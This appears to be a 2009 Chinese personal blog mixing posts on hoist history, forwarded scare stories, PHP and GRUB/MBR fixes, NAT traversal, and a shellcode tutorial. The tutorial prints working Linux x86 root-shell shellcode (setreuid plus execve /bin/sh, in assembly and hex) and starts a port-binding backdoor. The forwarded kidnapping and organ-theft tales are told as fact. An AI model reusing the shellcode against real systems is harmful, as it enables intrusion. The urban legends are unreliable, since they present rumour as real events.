Wednesday, March 25, 2009

电动葫芦的历史

国产电动葫芦是从上世纪50年代以仿造形式开始生产与发展的。1949年7月上海通用机器厂最先试制成功仿德国DEMAG公司K型1.5t和3t一般用途钢丝绳电动葫芦,并投入小批量生产,但该厂于1954年转产汽轮机。1953年天津起重设备厂(原天津第七机械厂)仿原苏联40年代TB型葫芦试制了1t和2t一般用途钢丝绳电动葫芦,定型为TV型电动葫芦。1954年又试制了3t和5t葫芦,1957年完成了0.25t~5t系列产品的修改设计与生产,从此TV已作为我国第一代葫芦而出现。

以葫芦为起升机构的电动单梁起重机,国内以天津起重设备厂为最早仿造原苏联40年代HK型桁架式单梁起重机,1954年开始试制,1956年批量生产,1957年由天津起重设备厂与北京起重机器厂联合对生产图纸进行了第一次修改,定型为A571型(1957年第一次整顿),为我国第一代电动单梁起重机,一直生产到1987年才被淘汰而停产(1987年1月起不准再生产)。

以葫芦为起升机构的电动单梁悬挂起重机,国内仍以天津起重设备厂为最早仿造原苏联40年代∏K型桁架式单梁起重机,并进行了系列生产,为我国第一代电动单梁悬挂起重机,也一直生产到1987年才被淘汰而停产(1987年1月起不准再生产)。

1963年开始天津起重设备厂设计生产了防爆型电动葫芦,并相继出现了防爆电动单梁和悬挂起重机系列产品。1964年又开始由天津起重设备厂、上海起重设备厂、重庆起重机厂、定西起重机厂、西安起重机厂、沈阳起重机厂和北京起重运输机械研究所联合设计、试制并开始生产CD、MD型系列葫芦,CD、MD型葫芦为我国第二代葫芦,是目前的主流产品。

A571型电动单聊起重机和∏K型电动单梁悬挂起重机与CD、MD型葫芦配套使用,由于结构和性能等原因存在不少问题。1974年由天津起重设备厂对A571型电动单梁起重机和K电动单梁悬挂起重机进行了更新,自行设计生产了配用CD、MD型葫芦的DL型电动单梁起重机和DX型电动单梁悬挂起重机。1976年在DL型和DX型产品基础上经天津起重设备厂、开源起重机厂、重庆起重机厂、长沙起重机厂、洛阳起重机厂和北京起重运输机械研究所联合设计试制与生产,1977年定型为LD型电动单梁起重机和LX型电动单梁悬挂起重机,成为我国第二代电动单梁起重机和悬挂起重机产品,一直生产至今仍为国内主导产品。上世纪70年代我国又相继开发了LB型防爆电动单梁起重机、LXB型防爆电动单梁悬挂起重机以及LH型电动葫芦双梁起重机系列产品等。

从上世纪70年代末到80年代初,葫芦式起重机已进入到一个引进开发的新阶段。天津起重设备厂引进了德国STAHL公司的AS型全系列钢丝绳电动葫芦技术;南京起重机械厂、北京起重设备厂和山海关起重设备厂三家联合引进了德国DEMAG公司的环链葫芦技术;进入80年代中期,以南京起重机械长为主联合设计开发了H型钢丝绳电动葫芦,重庆起重机厂为主联合设计开发了葫芦门式起重机系列产品。引进的AS型葫芦技术具有80年代世界先进水平,我国的第三代葫芦必将以AS型为代表。

LH型电动葫芦双梁起重机则是在70年代以武汉起重机厂为代表,自行开发设计的HC性电动葫芦作为起升机构的我国第一代电动葫芦双梁起重机

Monday, March 23, 2009

怀疑有人肉的香肠

昨天同事从北京商场买回来的腊肠,我吃一半恶心的差点饭都没吃.我吃着吃着,有一块怎么嚼也嚼不动,我拿出来一看,第一反映就是这是块头皮,头发丝的细密度,粗细决定了这绝对不是黑色的猪肉.我悄悄的将剩下的大半截扔了.或许我心理做怪,但是我坚定不吃感觉不好的东西.

骗局

1)建行一同志转送:今天经过一栋大楼门口,门口有一提款机。有一个老伯,一直看著我走过他身边,突然叫住我。他说他不识字,拿一张提款卡要我帮他在大楼门口的自动提款机取钱。我回答我无法帮你取,叫警卫帮你。结果,他就回答我说不用了,继续找其他路人帮他取钱。朋友们要记住---取款机可是有摄影机耶。万一他说我抢劫或是偷他的提款卡,甚至他的卡片是偷来的,帮他领钱会在提款机留下影像,绝对会让你百口莫辩!我会警惕!是因为已有同事上当,目前仍官司缠身。显然这是诈骗集团在找替身了!请用力传出去~~~骗案真是层出不穷,一不小心就会踏入陷阱,真是令人防不胜防!提醒各位朋友在外多小心!

2)芍药居一业主,家中突然断电,看到窗户外别人家里都有电,就出门查看自家电表箱,打开门就被刀子顶着了——持刀入室抢劫伤人家里突然断电,不要贸然就开门查看,有猫眼的多观察一会门外动静,没猫眼的也隔着门静听一段时间,没有异常响动再开门。

(3)各位女同胞们注意了!这是最新骗局
女同胞请注意男同胞请叫自己的朋友注意新出的情况,女性朋友要特别注意啦:
一位上班的小姐在下班回家的路上看到一个小孩子一直哭,很可怜,然后就过去问那小朋友怎么了.小朋友就跟那个小姐说:""我迷路了,可以请你带我回家吗?""然后拿一张纸条给她看,说那是他家地址.然后她就笨笨的带小孩子去了.一般人都有同情心,然后带到那个所谓小孩子的家里以后,她一按铃,门铃像是有高压电,就失去知觉了.隔天醒来就被脱光光在一间空屋里,身边什么都没有了,她甚至连犯人长啥样子都没看见.所以,现在人犯案都是利用同情心啊,如果遇到类似这种的,千万别带他去,要带就带他到派出所去好了,走丢的小孩放到派出所一定没错啦,请通知身边所有女性,为了广大女士的安全,看完后麻烦给转发给所有人。

4)今天遇到讨饭新招,大家注意提防了~~
今天在家休息,有人按门铃,开门一看,是个50来岁的老妇女,手里拿了2包喜糖,我还以为是邻居来分喜糖的,结果一开口,听得出不是本地人,她说什么这2包糖给我们的,图个喜气,要换一点钱给她,后面还说了一大堆不知道什么,我也没听清楚,感觉就是不对,吓的马上关门,晕!这年头,还有这么讨钱的一招。

(5)转发:大家注意了!到自动取款机取钱时一定要倍加小心!!!!!
昨晚在金海里的工行自动取款机取钱时,后面来了个老妇女,问我能不能取钱,还说什么取款机有个键可能坏了,旁边不知什么时候来了个小女孩,一直想我身边跻,我也没在意,小孩子淘气嘛,可是过分的是她竟然把手朝出钞口放,准备拿我的钱了,我感觉不对劲了,立即把她推到一边,等着把钱取出来。之后我想了一下,她们俩给我设了个套:老妇女负责和我瞎聊,吸引我的注意力,小女孩趁我不注意时抢走我的钱!如果我不防备的话,钱说不定就被抢走了,这样的话,我就进套了:(一则我立即去追小女孩,去追回我的钱,可是谁又会相信一个小女孩能抢我一个大人的钱呢?更可怕的是站在我后面的老妇女将会取光我卡中所有的钱,因为我的卡还在取款机里面;二则我不立即去追小女孩,等拿到卡再追,到那时小女孩就无影无踪了,钱也就没了啊:(她们真的很""聪明"",很可耻的!!!)
这是我的亲身经历,希望大家以后取钱时一定要警惕起来,注意观察周围的所有人,并转告周围的家人、同事、朋友,让坏蛋分子没有可乘之机!!!!又出现骗局新招!!

(6)我父母都退休在家。昨天上午,来一陌生中年人,说自己摩托车油开没了,加油站太远,摩托车又太重推不动,所以想问我父母要一个可乐瓶去买汽油,刚开口就说实在不行就出2、3元买一个空瓶好了。我母亲就拿了个空瓶给他,别说他还真从口袋里掏出钱来,不过是几张百元大钞,还让我父母找钱。我母亲顿生警觉,说算了,不过是一个空瓶而已。他见我母亲不上钩又左右张望,发现我家在装修时用过的一把刷墙的刷子,说这个不错,他愿意出10元钱买下来,只不过还是那张百元大钞。好在我母亲尚未龙钟,也不是那种爱贪小便宜的人
女性朋友一定要认真看完,注意自我安全啊,现在万恶的社会。。。。朋友发给我一篇报道,现转给各位看看,出门在外,千万小心

(7)一对新婚夫妇到巴黎度蜜月。在巴黎,妻子在一间时尚服装店试衣服,身为丈夫就在试衣间外等候。但等候多时却不见妻子走出来,紧张的丈夫要求店员帮忙到里头查看,却意外发现试衣间空无一人。丈夫以为妻子开玩笑作弄人,要他紧张.于是回到酒店等她回来。几小时后却不见妻子的踪影,才知事态严重。丈夫赶忙报警,并到巴黎所有服装店和医院询问妻子下落。三星期过去了,妻子犹如从人间蒸发,音讯全无,伤心的丈夫只能收拾包袱回到**。由于无法从绝望中振作,丈夫无心工作,甚至独自生活,决定把自己放逐,流浪到各地方。几年后,他心血来潮到巴厘岛,在一破旧的屋子参观一畸形秀(FREAKSHOW)。他见到一脏生锈的铁笼里,有一女人四肢全无,身躯,包括脸部,犹如破布般残破,充满疤痕。她在地上扭曲着,并发出有如野兽般的呻吟声。突然间男人惊恐地发出尖叫声。他从那毫无人样的女人脸上见到,他再熟悉不过,属于他新婚不久就告失踪的妻子脸上的红色胎记。

(8)另一版本则发生在上海。几年前一女通知公安她的表妹在上海市集购物时无故失踪,可是遍寻不着,直到五年后一友人撞见这表妹在泰国曼谷街道上行乞。恐怖的是她不知何故没了双手双脚,身子被铁链绑在灯柱旁。

(9)这是在某一对夫妇去香港游玩时发生的故事。一对夫妻不知不觉走入了全香港治安最坏的地区的一家精品店里?妻子对店里的衣服样式十分喜欢,随后就进入试衣间试衣。可是,先生在外头等了又等,却不见妻子出来。由于实在是等太久了,所以先生开门进去找她,可是试衣间里早已空空如也。他吃惊地向店员询问妻子到哪里去了,可是店员们却好象是串通好了一样,都说没有看见,并坚持根本没有象他妻子这样的人来过店里。因此他只好请当地的警察协助搜索这家精品店,可是却一无所获。后来他又一个人找了一段时间,直到他的签证到期。最后不得已他就在找不到妻子的情况下回国了。之后经过了一年…他向公司请了一段长假,再一次回到香港去找他的妻子。他带着妻子的相片走遍香港的大街小巷,但这次仍是一点线索也没有。终于假期就要结束了,他身心疲惫地开始考虑要回国的时候,有一天无意间经过了一间珍奇小屋。小屋的看板上写着:""达磨""(不倒翁)虽然他对珍奇事物并不感兴趣,但由于连日疲劳他想让自己改变一下心情,加上看板上写着""达磨""的文字也引起他的兴趣。最后他决定进去瞧瞧。但是他不该进去的!因为珍奇小屋里面展出一件令他惨不忍睹的东hellip;小屋里的舞台上有一位手脚都被切断的全裸女性被当成花瓶一样摆在那里!这位女性的舌头已经被拔掉了,不断发出奇怪的呻吟声。看到这么恶心的东西真令他恨不得马上拔腿就跑,但不知为什么他心里感受到一股奇怪的气氛,于是他又重新仔细看那女人的面孔hellip;没错!这女人正是他一年前失踪的妻子。后来,他向当地的黑道支付庞大的赎金换取妻子的剩下的躯干。但一切都太迟了,他可怜的妻子早就已经疯了。现在她还住在国内某家医院,继续不断地发出奇怪的呻吟声hellip;

(10)最近有人告诉我,他的朋友在晚上听到门口有婴儿在哭,不过当时已很晚了,而且她认为这件事很奇怪,于是她打电话给警察。警察告诉她∶"无论如何,绝对不要开门。"这位女士表示那声音听起来象是婴儿爬到窗户附近哭,她担心婴儿会爬到街上,被车子碾过。警察告诉她∶我们已派人前往,无论如何不能开门。警方认为这是一个连续杀人犯,利用婴儿哭声的录音带,诱使女性以为有人在外面遗弃婴儿,她们出门察看。虽然尚未证实此事,但是警方已接到许多女性打电话来说,他们晚上独自在家时,听到门外有婴儿的哭声,请将这个消息传给其他人,不要因为听到婴儿的哭声而开门。
请严肃看待这贴子!绝不离谱!小心为妙!!!
以前听说大活人现场失踪,后来被卖到马戏团、被卖器官什么的,只当是天方夜谭。结果真的看到发生在真 实中的恐怖故事。

(11)事情是同事群发邮件告知的。她的朋友,简称小A吧,上周和两个女孩子,简称小B和小C,去逛罗湖商业城。罗湖商业城是深圳假货集散地,龙蛇混杂,紧靠深圳火车站和香港的罗湖口岸,人流量非常大。话说小C内急,就去上卫生间,小A和小B在洗手间外面等。等了很久很久,还是不见小C出来,两个人有点奇怪了。于是两个人进去催她。谁知道进去一看,人影全无。两个人倒竖一口冷气,打手机也没人接。一个大活人,难道就这么活不见人死不见尸的失踪了?于是赶紧报警。警察来了,问情事情经过以后,说了一句令人无比毛骨悚然的话,"你们有没有看见其他可疑的人进去?",两个人再三回忆,没有。因为不可能带着一个活生生的100多斤的人出来,而她们不注意。这时候小A突然想起来,其间有个清洁工打扮的人推着一辆清洁小车进去、接着又出来……警察告诉他们,这种事情已经不是第一次发生,现在深圳警方初步怀疑一个犯罪团伙,有组织地在管理疏松的低档商业城,利用人们,尤其是女性对清洁工没有防范意识的心理,进行有组织地绑架、贩卖人体器官犯罪。别忘了,罗湖商业城离香港和深圳火车站有多么地近。现在已经几天过去了,那个可怜的小C姑娘,仍是活不见人死不见尸。我的同事说,小A,也就是我同事的朋友,仍在等小C的消息。但是很可能,也许如果幸运的话,活着的小C会被扔在哪个角落,只是失去了她的肾,但是,更有可能的是,也许再过几天或者几个月、几年,小C的头颅和躯体、四肢会在深圳的城乡结合部的LJ堆被人发现。如果看到这个发生在身边的活生生的恐怖事件,请转告身边的女性亲友,一定小心防范清洁工打扮的人,因为他/她很可能会趁你不注意把你敲晕,放进清洁车拉走,接下来等着你的是无比恐怖的活人分尸

关于医术与巫术

昨天偶尔看了一个印度的恐怖片,其中有一句话很经典:你感冒了吃什么,那么你知道这药的成分吗,知道他们的作用吗?
从这里我们可以问巫术是不是就是蒙骗呢?其实原理都一样吧,只不过是通过化学刺激与其他的直接作用与神经的刺激.前几天看过关于江西五百钱的说法.感觉生者有好多医术之外的东西,艺术不能保我健康阳光心态,医术不能让我健康朝气.那么这些潜在的东西是更深层的东西,医术可以说只关乎表而已.现在开始相信道家所说和佛家所说的很多思想,思想可以从四面八方观望.

Friday, March 20, 2009

终于解决无线上网不稳定的问题了

用系统自带的设置,在WPE或者不加密的情况下基本上很正常,信号还不错,但是一到WPA就玩完了个屁的,这次就用硬件官方的管理工具,连接效果超级好,一个IBM一个asus及toshiba都如此设置均得到超级好的效果.

Tuesday, March 17, 2009

感觉网络监管力度在加大

现在好多站点,或论坛都被禁止访问,起初以为是我们公司的网管故意控制我的访问呢,经常是我访问一个站点之后再点3-4次该站就被封,发现用ADSL上网也有这种情况发生.而且昨天听说网监局还问 一个安全站点的站长要服务器用户名和密码,说要安监控插件.现在基本上是除了几个门户站,其他站点逐渐都不可访问了.

为一个网名狂不爽

NND那个腾讯我现在用的qq没有申请qq空间,访问别人的空间,显示的用户是个什么:"真心对爱",日哦我那里取名取这样的,纯属消遣我,我翻啊翻啊,翻他腾讯姥姥个底朝天,结果也没找到原因和修改的地方,我就不明白从来没起过这样的名字居然跑出这个名字,怀疑是哪个垃圾申请号不用被疼寻收回,结果疼寻他妈病了没有及时吃药造成不更新,不refresh.疼寻这比真不兢业只能这么说.

phplib

refer url:http://cn.php.net/manual/zh/install.windows.extensions.php
在 Windows 下安装完 PHP 和 web 服务器之后,可能想要安装一些扩展库来获得更多功能。可以通过修改 php.ini 来选择当 PHP 启动时加载哪些扩展库。也可以在脚本中通过使用 dl() 来动态加载。
PHP 扩展库的 DLL 文件都具有 php_ 前缀。
很多扩展库都内置于 Windows 版的 PHP 之中。这意味着要加载这些扩展库不需要额外的 DLL 文件和 extension 配置指令。Windows 下的 PHP 扩展库列表列出了需要或曾经需要额外 PHP DLL 文件的扩展库。下面是内置的扩展库列表:
PHP 4 中(截止到 PHP 4.3.11):BCMathCaledarCOMCtypeFTPMySQLODBCOverloadPCRESessionTokenizerWDDXXMLZlib
PHP 5 中(截止到 5.0.4)有以下修改。新增内置:DOMLibXMLIconvSimpleXMLSPLSQLite。以下不再内置:MySQLOverload
PHP 搜索扩展库的默认位置在 PHP 4 中是 C:\php4\extensions,在 PHP 5 中是 C:\php5。要修改此项以符合用户自己的 PHP 设置,需要编辑 php.ini 文件:
需要修改 extension_dir 设置以指向用户放置扩展库的目录或者说放置 php_*.dll 文件的位置。例如:
extension_dir = C:\php\extensions
要在 php.ini 中启用某扩展库,需要去掉该行 extension=php_*.dll 前的注释符号,将想要加载的扩展库前的分号(;)删除即可。
Example#1 启用 Bzip2 扩展库
// 将这一行
;extension=php_bz2.dll
// 改成这样
extension=php_bz2.dll
有些扩展库需要额外的 DLL 才能工作。其中一部分包括在发行包里,PHP 4 中在 C:\php\dlls\ 目录下,PHP 5 中在主目录下,但还有一些,例如 Oracle(php_oci8.dll)所需要的 DLL 没有绑定在发行包里。如果安装 PHP 4,将绑定的 DLL 从 C:\php\dlls 拷贝到主目录 C:\php 中。别忘了将 C:\php 放到系统路径 PATH 中去(此过程在另外的 FAQ 条目中有说明)。
某些 DLL 没有绑定在 PHP 发行包中,详情见每个扩展库的文档页。此外有关 PECL 的说明见手册页 PECL 扩展库安装。在 PECL 中有日益增加数目巨大的 PHP 扩展库,这些扩展库需要单独下载
Note: 如果运行服务器模块版的 PHP,在修改了 php.ini 之后别忘了重新启动 web 服务器以使其改动生效。
在PHP的文档里都有,所以不说了,下载地址官方就有不说了!

linux转xp时候出现grub

实际操作下面这些东西都不可用,不成功,没有专业的引导与MBR管理工具没办法.
解决方法:
1: 概要
本文介绍如何从主启动记录 (MBR) 中删除 GRUB 启动管理器。
更多信息
如果您的计算机上安装了 GRUB,Linux 可以通过 GRUB 启动管理器直接加载到 MBR,可以让计算机实现双启动。要删除 GRUB,请执行以下步骤:
1.插入安装 CD 并重新启动计算机。如果出现提示,请选择从该 CD 启动时所需的所有选项。
2.当开始基于文本部分的安装时,请按照提示,按 R 键选择修复或恢复选项。
3.如果有双重引导或多重引导系统,请从故障恢复控制台选择要访问的驱动器。
4.当出现提示符时,输入 Administrator 密码。
5.在系统提示符中,键入 FIXMBR 命令:FIXMBR→Enter,Y→Enter。
6.重新启动:EXIT→Enter 并取出光盘。
附:FIXMBR 命令使用说明
Fixmbr修复启动磁盘的 主启动记录。fixmbr 命令仅在使用故障恢复控制台时才可用。
fixmbr [device_name]
参数
device_name
要写入新的主引导记录的设备(驱动器)。设备名称可从 map 命令的输出获得。例如,设备名称:
DeviceHardDisk0
范例
下列命令示例向指定设备写入一个新的主引导记录:
fixmbr DeviceHardDisk0
注意
·如果不指定 device_name,新的主引导记录将被写入引导设备,即装载主系统的驱动器。
·如果系统检测到无效或非标准分区表标记,将提示用户是否继续执行该命令。除非您访问驱动器有问题,否则不要继续进行。向系统分区写入新的主引导记录可能破坏分区表并导致分区无法访问。
2:
一次因为想重新安装FC5,所以在Windows下直接将Linux分区删除了,因为是green hand所以智商低。这下重新启动Windows都不行了,因为没有删除Grub。查询Grub的命令后,成功进入了Windows,并删除了Grub。
每次计算机启动都会进入grub>状态,这是如何启动Windows呢?按照如下顺序键入命令:
1: rootnoverify (hd0,0) //如果操作系统装载了第一块硬盘的第一个分区上,否则更改参数,如(hd1,1)--安装在第二块硬盘的第二个分区上了。 2: chainloader (hd0,0)+1 3: boot 或者 root (hd0,0)或者root (hd0,1),..... 4: 进入Windows后,运行clsmbr.exe工具,直接清楚MBR。

3:
是不是想让系统直接启动到Windows,不出现Linux的Grub(或LILO)引导界面(Solution 1~3),或者是在Windows中删除了Linux分区后无法正确启动Windows,而停留在"grub>"提示符处,怎么办(Solution 4)? 请往下看,这里给你提供几种实用的方法:
Solution 1
用DOS命令fdisk恢复主引导扇区MBR(Main/Master Boot Record)
---用win98的引导盘或DOS引导盘引导系统到纯DOS提示符下,执行:"fdisk /mbr"即可。
Solution 2
在Linux系统中,恢复MBR。(如果你还能登陆到Linux系统中的话)
---在终端的命令提示符后输入: "dd if=/boot/boot.NNNN of=/dev/hda bs=446 count=1"
注意,其中bs(buffer size)是指重写的字节数。为什么不是512呢?主引导扇区是一个扇区(512字节呀),因为我们只是想通过扇面的命令修复系统MBR的引导或删除Grub/LILO引导;而不是恢复整个主引导扇区。所以我们只把主引导扇区的备份文件boot.NNNN的前446个字节重写入主引导扇区。 boot.NNNN是我们在安装Linux之前整个主引导分区的备份。如果我们把512个字节全部写入主引导扇区就可能会把安装了Linux后改变了的硬盘DPT表也破坏掉。那就坏事了!!! (MBR的512字节中前446字节为引导程序,紧跟着后面64字节为分区表,最后面2个字节为结束标记)
Solution 3
如果你的fdisk不好使,或者Linux已经翘翘了,不用着急,上帝关上了所有的门,但是他一定会为你留下一扇窗户,下面的工具可意帮助你:
Clear MBR 0.9:
---直接运行执行"Clear MBR"即可,本人有测试过,绝对安全,敬请放心使用。
Solution 4
Linux的分区已经被你从Windows中删除,系统启动后停在"grub>"提示符处。(方法一:按照Solution 1的方法,方法二:如下)
---在"grub>"提示符后输入:"rootnoverify (hd0,0)" 回车。 //将第一块硬盘(hd0)的第一个分区(0)设为根分区/root设备,但不加载文件系统。
---在"grub>"提示符后输入:"chainloader +1" 回车。//将启动引导权转交给当前分区的首扇区(Windows系统所在分区的首扇区)。
---在"grub>"提示符后输入:"boot" 回车。系统将启动Windows。如果不成功,则表明 (hd0,0) 不是 Windows 系统所在分区,再从第一步开始试一下"root (hd0,1)/root (hd0,2)/root (hd0,3)/...",总之这样一定可以引导启动你的Windows系统。

4:最简单的办法是找张具有多系统引导修复功能的光盘去修复。

Sunday, March 15, 2009

p2p&nat

穿越NAT的意义:
    NAT是为了节省IP地址而设计的,但它隐藏了内网机器的地址,"意外"起到了安全的作用。对外不可见,不透明的内部网络也与互联网的"公平"应用,"相互共享"的思想所不容,尤其是P2P网络中"相互服务"的宗旨,所以穿越NAT,让众多内部网络的机器也参与到P2P网络中的大集体中来,一直是P2P开发者的所希望的。穿越NAT需要借助外部的支持,说白了就是"内外勾结",骗过NAT。很多P2P网络成功地实现了这一目标,但还是有一些"遗憾"---并非所有的情况下都可以。由于客户端是主动登录P2P网络才可穿越,所以P2P的方式也没有违背企业的内部管理原则,毕竟"自由世界"的加入都是自觉自愿的。
 
NAT原理:
NAT(Network Address Translation)网络地址转换/网络地址翻译。
工作原理:NAT主要的通过对数据包头的地址替换来完成内网计算机访问外网服务的。当内部机器要访问外部网络时,NAT设备把内部的IP1与端口号1(网络层地址与传输层地址),转换成NAT的外部IP2与新的端口号2,再送给外部网络,数据返回时,再把目的为IP2:端口2的数据包替换为IP1:端口1,送给内网机器。若通讯协议的内容中有IP地址的传递,如FTP协议,NAT在翻译时还要注意数据包内涉及协议地址交互的地方也要替换,否则协议就会出现地址混乱。在NAT设备中维护了这个要替换地址的映射表,并根据内部计算机的通讯需求维护该表。外部网络来数据包能否进入NAT,主要是看是否已经有可映射的表项,若没有就会丢弃。
 
NAT的外部公网地址可以是一个IP,也可以是一个网段,形成地址池。NAT还可以把某个外网地址直接影射给内网的某个服务器,让外网的用户可以直接访问到这台服务器。NAT的工作的隐藏内网的机器,但允许内网主动打开到外网的通讯"通道",也就是建立映射表项。
NATP2P带来的问题是:NAT只允许单方面发起连接,通讯的双方不是平等的,P2P网络的基础有了问题,具体的表现为:
n         内网主机IP是私有的,外部主机看不到,也无法主动发起连接
n         即使知道了内网IP,但NAT会丢弃没有在影射表的数据包
n         内网主机可以作为客户端访问外网,但不能作为服务器提供服务
n         当两个主机都位于各自的NAT之后,要实现P2P的连接,就不仅是谁主动的问题,而是如何解决在两个NAT上同时有对方映射表项的问题。
 
STUN协议(IETF RFC 3489)
STUN协议是一种通道协议,可以作为正式通讯前的通路建立,它采用的是用户终端干预的一种方法,可以解决应用协议内部传递IP地址给NAT带来的麻烦。用户通过其他方法得到其地址对应在NAT出口上的对外地址,然后在报文负载中所描述的地址信息就直接填写NAT上对外地址,而不是内网的私有IP,这样报文的内容在经过NAT时就按普通的NAT流程转换报文头部的IP地址即可,负载内的IP地址信息无需再修改。利用STUN的思路可以穿越NATSTUN协议是客户端/服务器协议,分两种请求方式:一是UDP发送的绑定请求(Binding Requests),二是TCP发送的秘密请求(Shared Secret Requests)。绑定请求用于确定NAT分配的绑定地址。
STUN标准中,根据内部终端的地址(P:p)NAT出口的公网地址(A:b)的影射方式,把NAT分为四种类型:
1.         Full Cone:来自相同的内部地址的请求消息映射为相同的外部地址,与外部地址(目的地址)无关。映射关系为P:p↔A:b,任何外部主机可通过(A:b)发送到数据到(P:p)上。
2.         Restricted Cone:来自相同的内部地址的请求消息映射为相同的外部地址,返回的数据只接受该内部节点曾发数据的那个目的计算机地址X。映射关系为P:p↔A:b↔X,只有来自X的数据包才可通过(A:b)发送到数据到(P:p)上。
3.         Port Restricted Cone:来自相同的内部地址的请求消息映射为相同的外部地址,返回的数据只接受该内部节点曾发数据的那个目的地址X:x。映射关系为P:p↔A:b↔X:x,只有来自X:x的数据包才可通过(A:b)发送到数据到(P:p)上。
4.         Symmetric(对称) NAT:只有来自相同的内部地址(P:p),并且发送到同一个地址(X:x) 的请求消息,才被映射为相同的外部地址(A:b),返回的数据只接受该内部节点曾发数据的那个目的地址X:x。映射关系为P:p↔A:b↔X:x,当(P:p)访问(Y:y)时,映射为P:p↔B:c↔Y:y
 
P2P利用STUN穿越NAT
位于NAT后面终端AB要穿越NAT直接通讯,可以借助在公网上的第三者Server来帮助。
穿越NAT的情况分为为两种方式:1、一方在NAT之后,一方在公网上。这种情况相对简单,只要让NAT之后的终端先发起通讯,NAT就没有作用了,它可以从Server上取得另一个Peer的地址,主动连接,回来的数据包就可以方便地穿越NAT2、双方都在NAT之后,连接的成功与否与两个NAT的类型有关。主要的思路的先通过终端与Server的连接,获得两个终端在NAT外部的地址(IP与端口号),再由终端向对方的外部地址发邀请包,获取自己与对方通讯的外部地址,俗称为"打洞"。关键是获取了NAT外部映射的地址,就可以发包直接沟通,建立连接。但当一方是对称型,另一方是Port Restricted或对称型时,无法有效获取外部地址,邀请包无法到达对方,也就无法穿越NAT。具体的分析可以根据两个NAT的类型分成若干情况分析,这里给一般的穿越例子。
实例:UDP穿越NAT
Ø         A登录ServerNAT A分配端口11000Server得到A的地址为100.10.10.10:11000
Ø         B登录ServerNAT B分配端口22000Server得到B的地址为200.20.20.20:22000
Ø         此时B会把直接来自A的包丢弃,所以要在NAT B上打一个方向为A的洞,那么A就可以向200.20.20.20:22000发送数据了
Ø         打洞的指令来自ServerBA的地址100.10.10.10:11000发一个UDP报文,被NAT A丢弃,但在NAT B上建立映射记录,NAT B不在丢弃来自A的报文。
Ø         Server通知A可以通讯,A发起数据UDP包给BNAT B放行,B收到A的包,双方开始通讯
注:若是对称NAT,当BA打洞的端口要重新分配(NAT A不会再分配11000端口)B无法获取这个端口,所以不适用本方法。
实例:TCP穿越NAT
Ø         A登录ServerNAT A分配端口11000Server得到A的地址为100.10.10.10:11000
Ø         B登录ServerNAT B分配端口22000Server得到B的地址为200.20.20.20:22000
Ø         AB发送TCP数据包SYN:192.168.10.11:1234=>200.20.20.20:22000,在NAT A上打洞
Ø         BA发送TCP数据包SYN:192.168.20.22:1234=>100.10.10.10:11000,在NAT B上打洞
Ø         通道建立,AB三次握手建立TCP连接
文章来源:zhaisj.blog.51cto.com/219066/58651

shell code 概叙

 对于初期接触网络安全的人来说,Shellcode是很神秘的东西,对于网络攻击过程中的嗅探信息、漏洞剖析都是可以理解的,但真正利用漏洞入侵时,通过把一段二进制码送入后并执行,就可以获得目标机器的控制权,之后的事情是属于爱好者学习技术,还是黑客的行为,就看攻击者的一念之差了。Shellcode就好象神秘的武器,安全防护变得如此不堪一击。Shellcode究竟是什么样的程序?是什么特殊代码?如何才能学会编写?我下面收集了几类常见的Shellcode,主要是学习使用。它其实也是一般的软件程序,主要是因为二进制码的"不可读性",增加了神秘色彩。
 
    Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行,从而获取特殊权限的执行环境,或给自己设立有特权的帐户。Shellcode因操作系统有一些差异,这里以Linux为例。
    Shellcode是一段高技巧的软件代码,为了小而精,一般直接写为16进制的操作码,当然编写者一般采用C或汇编编写,然后通过汇编程序成为16进制的操作码。
 
1、获取特殊权限:攻击的目标通常是某个SUID(具有高权限的系统程序)程序,因为它可以具有较高的特权去执行一些命令(比如修口令等),好的SUID程序会在不必要时放弃过高的特权,需要时再重新设置获取特权。Setreuid是用来设置(恢复)进程的真实和有效的用户ID。当然也就可以设置root(0)的权限。
xor ebx,ebx     参数一:真实用户id(ruid)=0
xor ecx,ecx     参数二:有效用户id(euid)=0
xor eax,eax
mov al,0x46     系统调用0x46
int 0x80        设置setreuid(0,0)
有了root(0)用户权限,系统基本就归你指挥了。
 
2、执行/bin/sh: 有了特权,还要有个"工作室",shell是Linux常用的控制台,取得一个有特权的shell,就可以让你"随意"工作了。建立一个shell并不复杂,一般采用execve调用执行/bin/sh软件
char *shell[2];
  shell[0]="/bin/sh";
  shell[1]=0;
execve(shell[0],shell,NULL);
该调用C语言编写很简单,对应的汇编代码也不复杂:
xor eax,eax         eax=0
push eax            eax=null
push 0x68732f2f     压栈 //sh
push 0x6e69622f     压栈 /bin
mov ebx,esp         ebx=esp指向/bin/sh
push eax            eax=null  结束栈null
push ebx            参数2   ebx指向/bin/sh
mov ecx,esp         参数3   ecx指向["/bin/sh",NULL]
xor edx,edx          参数4   edx=NULL
mov al,0xb           参数1   eax=0xb
int 0x80
 
    综合以上两个部分,就是最常见的Shellcode了,具体生成的16进制代码如下(共35个字节):
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80            ;setreuid(0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
\x31\xd2\xb0\x0b\xcd\x80                          ;执行/bin/sh
该代码可以放置在缓冲区内,通过指针函数调用执行。在缓冲区溢出等方式获得执行权利时,运行该段代码就可以打开一个具有root(0)权限的shell界面。
    Shellcode在不同的场合,可能有严格的限制,比如在命令行溢出漏洞时,不能太大,没有有效的空间来存放代码,所以要严格精简代码的长度。在SQL注入时对长度的要求更加苛刻,所以很多业界流行的、优秀的Shellcode是经过各种技巧精练的结果。Shellcode是攻击注入代码的统称,并非一定是打开Shell,根据漏洞程序本身的特性有很多的改变,有兴趣的朋友可以从网上收集。
 
3、绑定到端口的Shellcode
    用shellcode在目标计算机上打开一个端口(通讯服务),并将Shell绑定到该端口,攻击者可以放弃入侵时的用的端口,等于在目标机器上建立了系统的后门。该端口可以为入侵者随时建立连接,因为是打开了shell,所以等于建立远程控制目标的控制台。
    开启服务离不开Socket,Socket定义为一个端口和一个IP到一个进程的绑定。
a) 建立本地IP Socket,TCP
  int server
  server=socket(2,1,0)
b) 用IP和端口建立一个Sockaddr_in结构
  struct sockaddr_in server_addr
    server_addr.sin_addr.s_addr=0         socket的地址设为本地地址
    server_addr.sin_port=0xBBBB         socket的端口设为0xBBBB=48059
